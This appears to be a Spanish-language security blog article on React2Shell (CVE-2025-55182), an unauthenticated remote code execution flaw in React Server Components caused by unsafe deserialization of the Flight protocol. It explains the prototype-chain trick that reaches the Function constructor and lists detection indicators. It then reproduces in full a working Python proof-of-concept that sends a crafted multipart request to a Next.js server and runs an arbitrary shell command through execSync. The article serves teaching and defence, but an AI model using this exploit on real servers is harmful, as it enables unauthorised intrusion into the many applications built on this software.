
React2Shell, CVE-2025-55182, Vulnerabilidad de RCE: Un desglose crítico del fallo de deserialización insegura en React Server Components que permite la ejecución remota de código no autenticada en configuraciones predeterminadas de React/Next.js.
React2Shell (CVE-2025-55182) es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) que afecta a React Server Components (RSC) en React 19.x y frameworks como Next.js. La falla reside en la deserialización insegura de fragmentos del protocolo "Flight", permitiendo a los atacantes inyectar estructuras maliciosas que se resuelven en el constructor Function, resultando en ejecución arbitraria de JavaScript en el servidor.
React Server Components se introdujeron para unir la renderización cliente/servidor con un flujo de trabajo más fluido y componible. Para ello, React utiliza un canal de serialización personalizado similar a binario llamado el protocolo Flight.
Desafortunadamente, la lógica de deserialización de este protocolo contenía una falla sutil que permitía a los atacantes introducir payloads maliciosos en lo profundo del runtime de React.
¿El resultado? Una cadena completa y no autenticada de ejecución remota de código, ahora denominada React2Shell — y sí, su impacto es comparable a Log4Shell en escala y accesibilidad. 🔥
Este artículo desglosa la vulnerabilidad en un formato claro y accionable — ideal para profesionales de VAPT, investigadores y defensores.
RSC se comunica con el cliente enviando "fragmentos" serializados que representan referencias, objetos, metadatos de componentes, límites asíncronos, etc.
Cuando estos fragmentos llegan al servidor o al cliente, React los deserializa de vuelta a objetos y funciones.
Este proceso asume que la estructura de datos es segura. Aquí es donde las cosas se rompieron.
Los atacantes encontraron una manera de crear fragmentos maliciosos que contienen:
thenables)Patrón de ejemplo:
"$then": { "constructor": { "prototype": null } }
Durante la deserialización, React interpreta este objeto como un thenable y llama a:
promise.then(...)
Pero aquí, then es en realidad el constructor Function, por lo que la llamada se convierte en:
(new Function("malicious_payload"))();
Esto resulta en ejecución arbitraria de JavaScript dentro del entorno Node.js que ejecuta React Server Components.
Boom — tienes RCE.
Por eso los proveedores en la nube, los equipos de seguridad y los CERT reaccionaron instantáneamente cuando esto se hizo público.
Solicitudes POST multipart a:
/react/rsc/server, /flight, /server-actionsPayloads que contienen claves como:
$then$proto$constructor$typeEjecuciones sospechosas de Node.js como:
node -e "<payload>"
Archivos inesperados en:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ Nota Importante
Yo no soy dueño de este PoC.
Se referencia desde el siguiente repositorio público, con crédito completo al autor:
La siguiente Prueba de Concepto (PoC) se proporciona estrictamente con fines educativos y de investigación defensiva en ciberseguridad.
Debe ejecutarse solo en entornos de laboratorio aislados o en sistemas donde tenga autorización explícita para realizar pruebas.
El uso indebido de este código para acceso no autorizado, explotación o compromiso de sistemas es ilegal, poco ético y punible bajo las leyes de ciberseguridad.
Proceda con responsabilidad. 🛡️💻
A continuación se muestra el PoC completo:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Si ejecutó este PoC, asegúrese de haberlo hecho en un sandbox controlado y no en ningún activo de producción o de terceros.
Esta demostración existe únicamente para ayudar a analistas, desarrolladores y defensores a entender, detectar y mitigar CVE-2025-55182 (React2Shell).
Cualquier uso malicioso o no autorizado de esta información está estrictamente prohibido y no cuenta con el respaldo del autor.
Mantente ético. Mantente seguro. 🐉🔥
React2Shell es un recordatorio poderoso de que las capas de serialización, por más elegantes que sean, siguen siendo uno de los componentes más peligrosos en los frameworks modernos. En el momento en que objetos arbitrarios tocan el runtime sin validación, la cadena hacia RCE se vuelve dolorosamente corta.
Gracias por leer — y como siempre, sigue hackeando éticamente, sigue aprendiendo constantemente, y mantén ese fuego de seguridad encendido. 🔥🐉
Si disfrutaste este artículo o quieres mantenerte conectado con mi investigación en ciberseguridad:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010